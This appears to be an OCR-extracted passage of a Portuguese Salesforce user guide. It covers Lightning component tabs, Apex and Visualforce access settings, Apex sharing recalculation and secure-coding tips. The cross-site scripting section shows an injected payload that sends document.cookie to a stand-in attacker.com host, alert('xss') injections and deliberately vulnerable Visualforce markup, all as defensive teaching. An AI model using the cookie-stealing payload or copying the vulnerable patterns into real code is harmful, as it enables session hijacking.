Lightning usando a Ul nas
Enterprise, Performance,
Unlimited, Developer
Editions ou em um sandbox.

PERMISSOES DO

USUARIO

Para criar guias de
componentes do Lightning:
e "Personalizar aplicativo”
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No componente que vocé deseja adicionar, inclua implements="force:appHostable" namarcacdo aura:component
e salve as alteragdes.

<aura:component implements="force:appHostable">

Ainterface appHostable disponibiliza o componente como uma guia personalizada.
Use o Console do desenvolvedor para criar componentes do Lightning.
Inclua os componentes no menu de navegagdo do Salesforce1 realizando estas etapas.
1. Crie uma guia personalizada para este componente.
a. Em Configuracao, insira Guias nacaixa Busca rapida e selecione Guias.
b. Clique em Novo na lista relacionada Guias de componentes do Lightning.
¢. Selecione o componente do Lightning a ser exibido na guia personalizada.
d. Insira um rétulo a ser exibido na guia.
e. Selecione o estilo de guia e clique em Avangar.

f. Quando houver uma solicitacao para adicionar a guia aos perfis, aceite o padrdo e clique em Salvar.

Nota: A criagdo de uma guia personalizada é um pré-requisito para a ativagdo do componente no menu de navegagao
do Salesforce, mas nao ha suporte para 0 acesso ao componente do Lightning a partir do site completo do Salesforce.

2. Inclua o componente do Lightning no menu de navegacao do Salesforce1.
a. Em Configuracao, insira Navegagdo na caixa Busca rapida e selecione Navegacao do Salesforce1.
b. Selecione a guia personalizada que vocé acabou de criar e cligue em Adicionar.

¢. (lassifigue os itens selecionando-os e clicando em Para cima ou Para baixo.

No menu de navegacéo, os itens aparecem na ordem que vocé especificou. O primeiro item na lista Selecionado torna-se a
pagina de apresentacao do seu usuario no Salesforcel.

3. Verifique a saida acessando o aplicativo de navegador mével Salesforce1. O novo item de menu deve aparecer no menu de navegacao.

@ Nota: Por padrdo, o aplicativo de navegador mével fica ligado para a sua organizagdo. Para obter mais informacées sobre o
uso do aplicativo de navegador mével Salesforce1, consulte o Guia para desenvolvedores de aplicativos Salesforce].

CONSULTE TAMBEM:
Viséo geral da estrutura de componente do Lightning (beta)

Usando o Console do desenvolvedor


http://www.salesforce.com/us/developer/docs/salesforce1/salesforce1_guide.pdf
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Adicionar componentes do Lightning ao Lightning Experience

Disponibilize os componentes do Lightning para os usudrios do Lightning Experience. EDICC)ES

Nos componentes que deseja incluir no Lightning Experience, adicione

implements="force:appHostable" namarcacdo aura:component e salve suas Disponivel em: Salesforce
alteragdes. Classic e Lightning
Experience

Disponivel para uso em:
Edicdes Contact Manager,
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Criar componentes do
Lightning usando a Ul nas
Enterprise, Performance,
Unlimited, Developer
Editions ou em um sandbox.

PERMISSOES DO

USUARIO

Para criar guias de
componentes do Lightning:
e "Personalizar aplicativo”

<aura:component implements="force:appHostable">

Use o Console do desenvolvedor para criar componentes do Lightning.

Siga estas etapas para incluir seus componentes no Lightning Experience e disponibiliza-los aos usudrios de sua organizago.

1. Crie uma guia personalizada para este componente.

T o

a 0

o

f.

Em Configuracdo, insira Guias nacaixa Busca rapida e selecione Guias.
Clique em Novo na lista relacionada Guias de componentes do Lightning.
Selecione o componente do Lightning que deseja disponibilizar para os usuarios.
Insira um rétulo a ser exibido na guia.

Selecione o estilo de guia e clique em Avancar.

Quando houver uma solicitagdo para adicionar a guia aos perfis, aceite o padrao e clique em Salvar.

2. Atribua os componentes do Lightning a um aplicativo personalizado.

a.
b.

C.

Crie um aplicativo personalizado e nomeie-o Lightning.
Selecione o aplicativo Lightning criado e clique em Editar.

Na pégina Edicdo de aplicativo personalizado, selecione os componentes que deseja incluir, clique em Adicionar e em Salvar.
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3. Verifique a safda navegando até o Iniciador de aplicativos no Lightning Experience. Seu aplicativo personalizado deve aparecer
nolniciador de aplicativos. Clique no aplicativo personalizado para ver os componentes incluidos.

CONSULTE TAMBEM:

Adicionar os componentes do Lightning ao Salesforce!
Seguranca do codigo

Protegendo seu cédigo

Esta secdo contém informacdes sobre a implementacdo de seguranca no seu cédigo.
e Seguranca da classe do Apex

e (onfigurando a seguranca de pagina do Visualforce de uma definicdo de pagina

e Dicas de seguranca para Apex e Visualforce Development
Seguranga do Apex

Seguranca da classe do Apex

E possivel especificar quais usuarios podem executar métodos em uma classe do Apex de nivel EDIC()ES
superior especificacom base em seu perfil ou um conjunto de permissdes associado. As permissdes
aplicam-se apenas aos métodos de classes do Apex, como servico da Web, ou a qualguer método Disponivel em: Salesforce
usado em um controlador ou uma extenséo de controlador personalizados do Visualforce aplicados Classic e Lightning

em paginas do Visualforce. Os acionadores sempre sao ativados em eventos de acionador (como Experience

insert ou update)independentemente das permissdes do usudrio.

Disponivel em: Edicdes

@ Nota: Sevocé tiver instalado um pacote gerenciado em sua organizacao, podera definir a Performance, Unlimited,
seguranca somente para as classes Apex desse pacote, declaradas como global, ou para Developer, Enterprise e
as classes que contenham métodos declarados como webService. Database.com

Se um usudrio tiver a permissao “Autor Apex”, ele poderd acessar todas as classes do Apex
na organizacao associada, independentemente da configuracao de seguranca de classes
individuais.

A permissdo de uma classe do Apex é verificada somente no nivel superior. Por exemplo, se a classe A chamar a classe B, e um perfil de
usuario tiver acesso somente a classe A e ndo a classe B, o usuario ainda podera executar o codigo na classe A. Da mesma forma, se uma
pagina do Visualforce usar um componente personalizado com um controlador associado, a seguranca seré verificada apenas para o

controlador associado a pagina. O controlador associado ao componente personalizado é executado, independentemente das permissoes.

Vocé pode definir a seguranca da classe do Apex via:

e Apdgina da lista de classes do Apex
e Uma pégina de detalhes da classe do Apex

e (Conjuntos de permissdes
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e Perfis

CONSULTE TAMBEM:
Dicas de seguranca para Apex e Visualforce Development

http://www.salesforce.com/us/developer/docs/apexcode/index.htm

Configurar o acesso da classe do Apex a partir da pdgina Lista de classes

1. EmConfiguracdo,insira Classes do Apex nacaixa Busca rapida eselecione Classes
do Apex.

2. Préximo ao nome da classe que deseja restringir, clique em Seguranga.

3. Selecione os perfis que deseja ativar na lista Perfis disponiveis e clique em Adicionar ou selecione
0s perfis que deseja desativar na lista Perfis ativados e clique em Remover.

4. (Clique em Salvar.

CONSULTE TAMBEM:
Configurar 0 acesso da classe do Apex a partir da pagina Detalhes da classe
Configurando o acesso da classe Apex de conjuntos de permissoes

Definir 0 acesso da classe do Apex de perfis

Visualforce | 91

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com
Editions

PERMISSOES DO

USUARIO

Para definir a seguranca da
classe do Apex:

e "Apex do autor”
E

“Personalizar aplicativo”


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
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Configurar o acesso da classe do Apex a partir da pagina Detalhes da classe

1. EmConfiguracdo,insira Classes do Apex nacaixa Busca rapida eselecione Classes
do Apex.

2. Clique no nome da classe que deseja restringir.
3. (lique em Seguranca.

4. Selecione os perfis que deseja ativar na lista Perfis disponiveis e clique em Adicionar ou selecione
os perfis que deseja desativar na lista Perfis ativados e clique em Remover.

5. Clique em Salvar.

CONSULTE TAMBEM:
Configurar o acesso da classe do Apex a partir da pagina Lista de classes
Configurando o acesso da classe Apex de conjuntos de permissoes

Definir 0 acesso da classe do Apex de perfis

Configurando o acesso da classe Apex de conjuntos de permissoes

Vocé pode especificar os métodos de uma classe Apex de nivel superior que sao executaveis para
um conjunto de permissdes. Essas configuracdes aplicam-se apenas aos métodos de classes do
Apex, como servico da Web, ou a qualguer método usado em um controlador ou uma extensao
de controlador personalizados do Visualforce aplicados em paginas do Visualforce. Os acionadores
sempre s3o ativados em compromissos de acionador (como insert ou update)
independentemente das configuracdes de permissoes.

1. Em Configuragdo, insira Conjuntos de permissées nacaixa Busca rapida e
selecione Conjuntos de permissdes.

Selecione um conjunto de permissées.
Clique em Acesso a classe do Apex.

Clique em Editar.

o w N

Selecione as classes do Apex que vocé deseja ativar na lista Classes do Apex disponiveis e clique
em Adicionar ou selecione as classes do Apex que vocé deseja desativar da lista Classes do
Apex habilitadas e cliqgue em Remover.

6. Clique em Salvar.

CONSULTE TAMBEM:
Configurar o acesso da classe do Apex a partir da pagina Lista de classes
Configurar 0 acesso da classe do Apex a partir da pagina Detalhes da classe

Definir 0 acesso da classe do Apex de perfis
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Enterprise,
Performance, Unlimited,
Developer e Database.com
Editions

PERMISSOES DO

USUARIO

Para definir a seguranca da
classe do Apex:

e “Apex do autor”
E
“Personalizar aplicativo

"

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edi¢des
Performance, Unlimited,
Developer, Enterprise e
Database.com

PERMISSOES DO

USUARIO

Parar editar as

configuracdes de acesso d

classe do Apex:

e “Gerenciar perfis e
conjuntos de
permissoes”
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Definir o acesso da classe do Apex de perfis
Especifique quais métodos em uma classe do Apex de nivel superior sdo executaveis para um perfil.

Essas configuracdes se aplicam apenas aos métodos de classe do Apex. Por exemplo, aplique as
configura¢ées aos métodos de servico da web ou a qualquer método usado em um controlador
ou extensdo de controlador personalizados do Visualforce aplicados a uma pagina do Visualforce.
Os acionadores sempre sao ativados em compromissos de acionador (como insert ou update)
independentemente das configuragdes do perfil.

1. Em Configuragdo, insira Perfis nacaixa Busca rapida, em seguida selecione Perfis.
Selecione um perfil e clique no seu nome.

Na lista relacionada ou pégina Acesso da classe do Apex, clique em Editar.

> W N

Selecione as classes do Apex que deseja ativar na lista de classes do Apex disponiveis e clique
em Adicionar. Ou selecione as classes do Apex que deseja desativar na lista de classes do Apex
ativadas e cliqgue em Remover.

5. Clique em Salvar.

CONSULTE TAMBEM:
Configurar o acesso da classe do Apex a partir da pagina Lista de classes
Configurar o acesso da classe do Apex a partir da pagina Detalhes da classe

Configurando o acesso da classe Apex de conjuntos de permissoes

Criar motivos de compartilhamento do Apex

Ao criar o compartilhamento gerenciado do Apex, crie motivos de compartilhamento do Apex para
objetos individuais personalizados a fim de indicar por que o compartilhamento foi implementado,
simplificar o codigo necessario para atualizar e excluir registros de compartilhamento e compartilhar
um registro varias vezes com 0 mesmo usuario ou grupo usando diferentes motivos de
compartilhamento do Apex.

@ Nofta: Paraobter maisinformagdes sobre o compartilhamento gerenciado do Apex, consulte
0 Guia do desenvolvedor do Apex code do Force.com.

0O Salesforce exibe motivos de compartilhamento do Apex na coluna Mot ivo ao exibir o
compartilhamento de um registro de objeto personalizado na interface de usuério. Isso permite
que usudrios e administradores saibam o objetivo do compartilhamento.

Ao trabalhar com os motivos de compartilhamento do Apex, observe o sequinte:

e Apenas usuarios com a permissao “Modificar todos os dados” podem adicionar, editar ou excluir
um compartilhamento que utiliza um motivo de compartilhamento do Apex.

e Excluirum motivo de compartilhamento do Apex excluira todos os compartilhamentos no
objeto que usa o motivo.

e Vocé pode criar até 10 motivos de compartilhamento do Apex por objeto personalizado.

e Vocé pode criar motivos de compartilhamento de Apex usando a API de metadados.

Parar criar um motivo de compartilhamento do Apex:

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Performance, Unlimited,
Developer, Enterprise e
Database.com

PERMISSOES DO

USUARIO

Para editar perfis:

e “Gerenciar perfis e
conjuntos de
permissoes”

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Professional, Enterprise,
Performance, Unlimited,
Developer e Database.com

PERMISSOES DO

USUARIO

Parar criar motivos de
compartilhamento do Apex:
* “Apex do autor”

Parar exibir motivos de
compartilhamento do Apex:

e "Exibir configurac¢do”

1. Nas configuragbes de gerenciamento para o objeto personalizado, clique em Novo nalista relacionada Motivos de compartilhamento

do Apex.


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
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2. Insira um rétulo para o motivo de compartilhamento do Apex. O rétulo exibe a coluna Mot ivo quando o compartilhamento de
um registro € exibido na interface do usuario. O rétulo também é disponibilizado para tradugéo no workbench de traducao.

3. Insira um nome para o motivo de compartilhamento do Apex. O nome é usado para fazer referéncia ao motivo na APl e no Apex.
Esse nome pode conter somente sublinhados e caracteres alfanuméricos, e deve ser exclusivo na sua organizacao. Deve comecar
com uma letra, ndo incluir espagos, ndo terminar com sublinhado e n&o conter dois sublinhados consecutivos.

4. (lique em Salvar.

CONSULTE TAMBEM:

Recalcular o compartilhamento gerenciado do Apex

Recalcular o compartilhamento gerenciado do Apex

@ Importante: Ao empacotar objetos personalizados, lembre-se de que os recalculos de
compartilhamento do Apex associados também estdo incluidos e podem impedir a instalagéo
do pacote.

Os desenvolvedores podem gerar classes do Apex em lote que fazem o recdlculo do
compartilhamento gerenciado do Apex para determinado objeto personalizado. E possivel associar
essas classes a um objeto personalizado em sua pagina de detalhes e executa-las caso um bloqueio
impeca o Apex de conceder acesso ao usuario, conforme definido pela légica do aplicativo. Os
recalculos de compartilhamento do Apex também sao Uteis para resolver problemas de visibilidade
gerados por erros de codificacao. Por exemplo, se o desenvolvedor corrigir um erro de codificacdo
que impedia os usuarios de acessar os registros que deveriam ver, a correcao podera afetar apenas
0s registros criados apés a atualizacdo do cédigo. Para garantir que a correcdo também seja aplicada
aos registros existentes, o desenvolvedor pode executar um reclculo de compartilhamento do
Apex para validar o compartilhamento em todos os registros.

Vocé pode executar os recalculos de compartilhamento do Apex em uma pdgina de detalhes de
um objeto personalizado. Vocé também pode executd-los de forma programética usando o método
Database.executeBatch. Além disso, o Salesforce executa automaticamente as classes de
recélculo do Apex definidas para um objeto personalizado sempre que € atualizado o nivel de
acesso padrdo de compartilhamento de um objeto personalizado em toda a organizagao.

@ Nota: O Salesforce recalcula automaticamente o compartilhamento de todos os registros
de um objeto quando é alterado seu nivel de acesso padrao de compartilhamento em toda
a organizacao. O recdlculo inclui 0 acesso concedido por regras compartilhadas. Além disso,
todos os tipos de compartilhamento serdo removidos se 0 acesso concedido for redundante.
Porexemplo, o compartilhamento manual que concede acesso Somente leituraa um usudrio
é excluido quando 0 modelo de compartilhamento do objeto é alterado de Particular para
Somente leitura publica.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Professional, Enterprise,
Performance, Unlimited,
Developer e Database.com

PERMISSOES DO

USUARIO

Para associar uma classe
de recdlculo de
compartilhamento
gerenciado do Apex:

e "Apex do autor”

Para executar um recdlculo
de compartilhamento
gerenciado do Apex:

e "Apex do autor”

ou

“Gerenciar
compartilhamento”

Para obter mais informacées sobre como criar o compartilhamento gerenciado do Apex e classes de recalculo, consulte o Force.com

Apex Code Developer's Guide (Guia do desenvolvedor do Force.com Apex Code).

Para associar uma classe de recdlculo de compartilhamento gerenciado do Apex a um objeto personalizado:

1. Nas configuracdes de gerenciamento do objeto personalizado, va para Recélculos de compartilhamento do Apex.

2. Escolhaaclasse do Apex que recalcula o compartilhamento do Apex para este objeto. A classe escolhida deve implementar a interface
Database.Batchable.Vocé ndo pode associar a mesma classe do Apex varias vezes ao mesmo objeto personalizado.

3. (lique em Salvar.


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
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Para executar um recélculo de compartilhamento do Apex, nas configuragdes de gerenciamento do objeto personalizado, vé para
Recélculos de compartilhamento do Apex e clique em Novo.

Ao trabalhar com os recédlculos de compartilhamento do Apex, observe o seguinte:

e (O codigo do Apex que estende o recalculo de compartilhamento pode processar um maximo de cinco milhdes de registros. Se esse
cédigo do Apex afetar mais de cinco milhdes de registros, o trabalho serd cancelado automaticamente.

e Vocé pode monitorar o status dos recdlculos de compartilhamento do Apex na fila de trabalhos do Apex.
e Vocé pode associar um maximo de cinco recalculos de compartilhamento do Apex por objeto personalizado.

e Vocé pode associar os recalculos de compartilhamento do Apex a objetos padrao.

CONSULTE TAMBEM:

Criar motivos de compartilhamento do Apex
Seguranca do Visualforce

Seguranca de pagina do Visualforce

Vocé pode especificar os usuarios que podem executar uma pagina especifica do Visualforce com EDlCOES

base em seu perfil ou em um conjunto de permissdes associado.

A permissdo de uma classe do Visualforce é verificada somente no nivel superior. Quando os usudrios Disponivel em: Salesforce

puderem acessar uma pagina, eles poderdo executar todo o Apex associado a pagina. Isso inclui: Classic e Lightning
Experience

e O controlador da pagina e as classes do Apex chamadas por meio da classe do controlador.
o Asclasses de extensdo da pagina e o Apex chamado por meio de uma extensao. Disponivel em: Edi¢Ges
Contact Manager, Group,

Professional, Enterprise,
* Asclasses associadas a pdgina por meio do uso de apex:include ou Performance, Unlimited e

apex:composition. Developer

e Asclasses do Apex associadas a componentes personalizados na pagina.

Por exemplo, se a pagina A depender de um controlador que chama uma classe B do Apex e um

usudrio tiver acesso somente a pagina A mas ndo a classe B, o usuério ainda podera executar o

c6digo na pagina A. Da mesma maneira, se uma pagina do Visualforce usar um componente personalizado com um controlador
associado, a seguranca s6 serd verificada no controlador associado a pagina, ndo no controlador associado ao componente.

Vocé pode definir a seguranca de pégina do Visualforce em:

e Uma definicdo de péagina do Visualforce
e (Conjuntos de permissées

e Perfis

Se o5 usudrios tiverem a permissao “Personalizar aplicativo”, podem acessar todas as paginas do Visualforce na organizacao associada.
Contudo, eles ainda poderao ter restricdes relacionadas as classes do Apex. A permisséo “Personalizar aplicativo” ndo permite que 0s
usudrios ignorem essas restricbes em uma pagina do Visualforce, a menos que tenham acesso a pagina do Visualforce.

Além disso, para incluir o Apex em uma péagina, os usudrios devem ter a permisséo “Apex do autor” ou acesso a classe do Apex.
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@ Notfa: Organizagdes com sites do Force.com ou Portais do cliente podem ativar paginas do Visualforce atribuindo-as para perfis
do usudrio ou ativando-as para o site inteiro.

CONSULTE TAMBEM:
Dicas de seguranca para Apex e Visualforce Development
http://www.salesforce.com/us/developer/docs/pages/index.htm
Configurando a seguranca de pégina do Visualforce de uma definicao de pagina
Configurando a seguranca de pagina do Visualforce de conjuntos de permissdes

Definir a seguranca de pagina do Visualforce em perfis

Configurando a seguranca de pdagina do Visualforce de uma definicdo de pagina

1. Em Configuragdo, insira Pdginas do Visualforce nacaixa Busca rapida e ED|COES
selecione Paginas do Visualforce.
Ao lado do nome da pagina que deseja restringir, clique em Seguranca. Disponivel em: Salesforce
Classic e Lightning

Selecione os perfis que deseja ativar na lista Perfis disponiveis e clique em Adicionar. )
Experience

Selecione os perfis que deseja desativar na lista Perfis ativados e clique em Remover. ' . o
Disponivel em: Edicoes

Clique em Salvar. Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

o wnN

PERMISSOES DO

USUARIO

Para definir a seguranca de
pégina do Visualforce:

e “Gerenciar perfis e
conjuntos de
permissoes”

E
“Personalizar aplicativo”


https://developer.salesforce.com/docs/atlas.en-us.198.0.pages.meta/pages/
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Configurando a seguranca de pagina do Visualforce de conjuntos de permissoes

1.

ok W

Em Configuracéo, insira Conjuntos de permissdes nacaixa Busca réapida e
selecione Conjuntos de permissades.

Selecione um conjunto de permissées.
Clique em Acesso a pagina do Visualforce.
Clique em Editar.

Selecione as paginas do Apex que vocé deseja ativar na lista Paginas do Apex disponiveis e
clique em Adicionar ou selecione as paginas do Apex que vocé deseja desativar da lista Paginas
do Apex habilitadas e clique em Remover.

Clique em Salvar.

Definir a seguranc¢a de pagina do Visualforce em perfis

Defina a seguranga do Visualforce diretamente de um perfil para conceder acesso de usudrios a
esse perfil a pagina do Visualforce especificada.

1.

Em Configuracdo, insira Perfis nacaixa Busca rapida, em seguida selecione Perfis.

. Cligue no nome do perfil que deseja modificar.

2
3.
4

Vé para a pagina Acesso da pagina do Visualforce ou lista relacionada e clique em Editar.

. Selecione as paginas do Visualforce que deseja ativar na lista de paginas do Visualforce

disponiveis e clique em Adicionar. Também é possivel selecionar as paginas do Visualforce
que deseja desativar na lista de paginas do Visualforce ativadas e clicar em Remover.

Clique em Salvar.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Enterprise, Performance,
Unlimited e Developer

PERMISSOES DO

USUARIO

Para editar as configuracoes

de acesso a pdaginas do

Visualforce:

e “Gerenciar perfis e
conjuntos de
permissoes”

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para definir a seguranca de

pagina do Visualforce:

e “"Gerenciar perfis e
conjuntos de
permissoes”
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Dicas de seguranca para Apex e Visualforce Development

Compreenda e proteja-se contra vulnerabilidades a medida que vocé desenvolve aplicativos ED|COES
personalizados.

Disponivel em: Salesforce

Entendendo a seguranca Classic

A poderosa combinacao das paginas do Apex e do Visualforce permite que os desenvolvedores do Disponivel em: Edi¢des
Force.com fornegam funcionalidades personalizadas e l6gica de negdcios para a Salesforce ou Group, Professional,
criem um produtos independente completamente novo para ser executado junto com a plataforma Enterprise, Performance,
Force.com. No entanto, assim como qualquer linguagem de programacéo, os desenvolvedores Unlimited, Developer e

devem conhecer possiveis ciladas relacionadas & seguranca. Database.com

O Visualforce ndo esta
disponivel em
Database.com.

A Salesforce incorporou vérias defesas de seguranca a plataforma do Force.com em si. No entanto,
desenvolvedores descuidados ainda conseguem contornar as defesas incorporadas em muitos
casos e expor aplicativos e clientes aos riscos de seguranca. Muitos dos erros de codificacdo que o
desenvolvedor pode fazer na plataforma Force.com sdo semelhantes as vulnerabilidades de
seguranca de aplicativos da web em geral, enquanto outras sao exclusivas do Apex.

Para certificar um aplicativo para o AppExchange, é importante que os desenvolvedores aprendam e entendam as falhas de seguranca
descritas aqui. Para obter informagdes adicionais, consulte a pagina Recursos de seguranca do Force.com no Salesforce Developers em
https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)

Os ataques de cross-site scripting (XSS) abrangem uma ampla série de ataques, nos quais scripts HTML ou do cliente, mal-intencionados,
sdo fornecidos a um aplicativo da web. O aplicativo da web inclui scripts mal-intencionados em uma resposta a seu usudrio. Entéo este,
sem saber, torna-se vitima do ataque. O atacante usou o aplicativo da web como intermediario no atague, tirando vantagem da confianca
da vitima no préprio aplicativo da web. A maioria dos aplicativos que exibe paginas da web dindmicas sem validar devidamente os
dados provavelmente é vulneravel. Ataques contra o site séo especialmente faceis, caso a entrada de um usudrio deva ser exibida a
outro usudrio. Algumas possibilidade dbvias sao incluir um quadro de avisos ou sites com comentérios de usudrios, noticias ou arquivos
de email.

Por exemplo: vamos supor que o script a sequir seja incluido em uma pagina do Force.com que use um componente de script, um
evento on* ou uma pagina do Visualforce.

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

Esse bloco de script insere na pagina o valor de userparam fornecido pelo usuério. O atacante entdo poderd inserir o valor de

userparam

1';document.location="http://www.attacker.com/cgi-bin/cookie.cgi?'%$2Bdocument.cookie;var$20foo="2

Neste caso, todos 0s cookies da pagina atual sao enviados para www . attacker.com como a string de consulta na solicitagdo para
oscript cookie.cgi. Neste ponto, 0 atacante estd com o cookie da sessao da vitima e pode se conectar ao aplicativo da web como
se fosse a prépria vitima.

0O atacante pode postar um script mal-intencionado usando um site da web ou email. Os usuarios do aplicativo da web ndo s6 veem a
entrada do atacante como também o navegador consegue executar o script do atacante em um contexto confidvel. Com essa habilidade,
0 atacante pode realizar uma ampla variedade de ataques contra a vitima. Isso varia entre simples acoes, como abrir e fechar janelas,
até ataques mais mal-intencionados, como roubo de dados ou cookies da sessao, permitindo que o autor do atague tenha acesso total
a sessao da vitima.

Para obter informaces sobre esse ataque em geral, veja 0s seguintes artigos:


https://developer.salesforce.com/page/Security

Aprimorar o Salesforce com codigo Guia do usudrio | Componentes do Lightning, Apex,
Visualforce | 99

e http://www.owasp.org/index.php/Cross_Site_Scripting

e http//www.cgisecurity.com/xss-fag.htm!

e http//www.owasp.org/index.php/Testing_for_Cross_site_scripting

e http://www.google.com/search?q=cross-site+scripting

Dentro da plataforma do Force.com, existem varias defesas anti-XSS em vigor. Por exemplo: o Salesforce implementou filtros que filtram
0s caracteres prejudiciais na maioria dos métodos de safda. Para o desenvolvedor que usa classes e métodos de safda padrao, as ameacas

de falhas de XSS foram amplamente mitigadas. No entanto, um desenvolvedor criativo ainda consegue encontrar formas de contornar
com ou sem intencao os controles padrao. As secdes a seguir mostram onde a protecdo existe e ndo existe.

Protecao existente

Todos os componentes padrdo do Visualforce, que comegam com <apex>, contam com filtros anti-XSS. Por exemplo: o codigo a
seguir normalmente é vulnerdvel a um ataque XSS, pois pega uma entrada fornecida pelo usuério e a devolve diretamente para ele; no
entanto,a marca <apex:outputText> é protegida contra XSS. Todos 0s caracteres que parecem ser marcas HTML sao convertidos
para a forma literal. Por exemplo: o caractere < é convertido para &1t ;, para que um < literal seja exibido na tela do usudrio.

<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Desativando o escape nas marcas Visualforce

Por padrao, quase todas as marcas Visualforce tém um escape para os caracteres vulneraveis ao XSS. E possivel desativar esse
comportamento ao configurar o atributo opcional escape="~false". Porexemplo: o seguinte resultado é vulneravel a ataques de
XSS:

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

[tens de programacao nao protegidos contra XSS

Os itens a seguir ndo contam com protecdes XSS internas, e é necessario ter um cuidado extra ao usar esses objetos e marcas. Isso ocorre
porque os itens destinavam-se a permitir que o desenvolvedor personalizasse a pagina, inserindo comandos de script. Ndo faz sentido
incluir filtros anti-XSS nos comandos que sao adicionados intencionalmente a pagina.

JavaScript personalizado
Se vocé escrever seu préprio cédigo JavaScript, a plataforma do Force.com ndo tera como proteger vocé. Por exemplo: o cédigo a
seguir estara vulneravel ao XSS se utilizado no JavaScript.

<script>
var foo = location.search;
document .write (foo) ;
</script>

<apex:includeScript>
O componente do Visualforce <apex:includeScript> permite que vocé inclua um script personalizado na pagina. Nesses
casos, tenha muito cuidado para verificar se o contetdo é seguro e ndo inclui dados fornecidos pelo usuario. Por exemplo: o snippet
a sequir é extremamente vulneravel, pois inclui entradas feitas pelo usudrio como o valor do texto de script. O valor fornecido pela
marca é um URL para o JavaScript incluir. Se o atacante puder enviar dados arbitrarios a esse parametro (como no exemplo abaixo),
ele poderd direcionar a vitima para incluir qualquer arquivo JavaScript a partir de qualquer outro site da web.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />


http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/xss-faq.html
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting
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Marcas de formula

A sintaxe geral dessas marcas é:{ ! FUNCTION () } ou {!$SOBJECT.ATTRIBUTE }.Porexemplo: se um desenvolvedor quiser
incluir a ID de uma sessdo do usuario em um link, é possivel criar o link usando a seguinte sintaxe:

<a

href="http://partner.domain.com/integration/?sid={!$Api.Session ID}&server={!$Api.Partner Server URL 130}">
Go to portal</a>

O que rende um resultado semelhante ao seguinte:

<a
href="http://partner.domain.com/integration/?sid=4£0900D30000000Jsbi%21AQ0AONYaPnVyd 6hNdIxXhzQTMaa
S1Y10fRzpM18huTGN33C001FIkbuQRwPc90QJeMRm4h2UYXRnmZ5wzufIrvdIDtC ilAs&server=https://nal.salesforce.con
/services/Soap/u/13.0/4£0900D30000000Jsbi">Go to portal</a>

As expressdes de formula podem ser chamadas de funcéo ou incluir informacdes sobre objetos da plataforma, um ambiente do usudrio,
um ambiente do sistema e 0 ambiente da solicitacdo. Um importante recurso dessas expressoes € que 0s dados ndo tém escape durante
a renderiza¢do. Como as expressoes sao apresentadas no servidor, nao é possivel escapar os dados apresentados no cliente usando
JavaScript ou outra tecnologia do cliente. Isso pode levar a situagoes potencialmente perigosas caso a expressao da formula faca referéncia
a dados que nao forem do sistema (ou seja, dados potencialmente hostis ou editaveis) e a expressdo nao estiver dentro de uma fungéo
para fazer o escape no resultado durante a renderizacado. Uma vulnerabilidade em comum é criada com o uso da expresséo

{ I SRequest.*} paraacessar os parametros da solicitacdo.

<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

Infelizmente,amarca { ! $SRequest.title} sem escape também ocasiona uma vulnerabilidade de cross-site scripting. Por exemplo,
a solicitacao:

http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert ('xss') %$3C%2Fscript%3E
apresenta o resultado:

<html><head><title>Adios</title><script>alert ('xss')</script></title></head><body>Hello
world!</body></html>

O mecanismo padréo para fazer escape do lado do servidor é pelo uso da marca de férmula SUBSTITUTE () .Em funcdo da colocacao
da expressdo {!SRequest.*} noexemplo, o ataque acima poderia ser evitado ao usar as seguintes chamadas SUBSTITUTE ()
aninhadas.

<html>
<head>
<title>{! SUBSTITUTE (SUBSTITUTE (SRequest.title,"<","<"),">", ">")}</title>
</head>
<body>Hello world!</body>
</html>

Dependendo da colocacdo da marca e do uso dos dados, os dois caracteres que precisam de escape e suas contrapartes escapadas
podem variar. Por exemplo, esta instrucéo:

<script>var ret = "{!$Request.retURL}";script>var ret = "{!S$Request.retURL}";</script>
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exige que o caractere de aspas duplas seja escapado para %22, seu equivalente codificado para URL, e ndo para ", HTML escapado, pois
ele provavelmente sera usado em um link. Caso contrdrio, a solicitacdo:

http://example.com/demo/redirect.html?retURL= foo0%22%3Balert ('xss')$3B%2F%2F
resultard em:
<script>var ret = "foo";alert('xss');//";</script>

Além disso, a varidvel ret pode precisar de um escape adicional no cliente mais a frente na pagina caso ela seja usada de forma que
possa fazer com que os caracteres de controle HTML incluidos sejam interpretados.

As marcas de formula também podem ser usadas para incluir dados do objeto da plataforma. Embora os dados sejam retirados diretamente
da organizacdo do usudrio, eles ainda deveréo ser escapados antes do uso para evitar que eles executem o c6digo no contexto de outros
usudrios (potencialmente aqueles com niveis de privilégio mais altos). Apesar de esses tipos de ataque deverem ser realizados por
usudrios dentro da mesma organizagao, eles minam os papéis do usudrio na organizacao e reduzem a integridade dos registros de
auditoria. Além disso, vdrias organizagoes contém dados que foram importados de fontes externas e talvez nao possam ser rastreados
quanto a contetido mal-intencionado.

Cross-Site Request Forgery (CSRF)

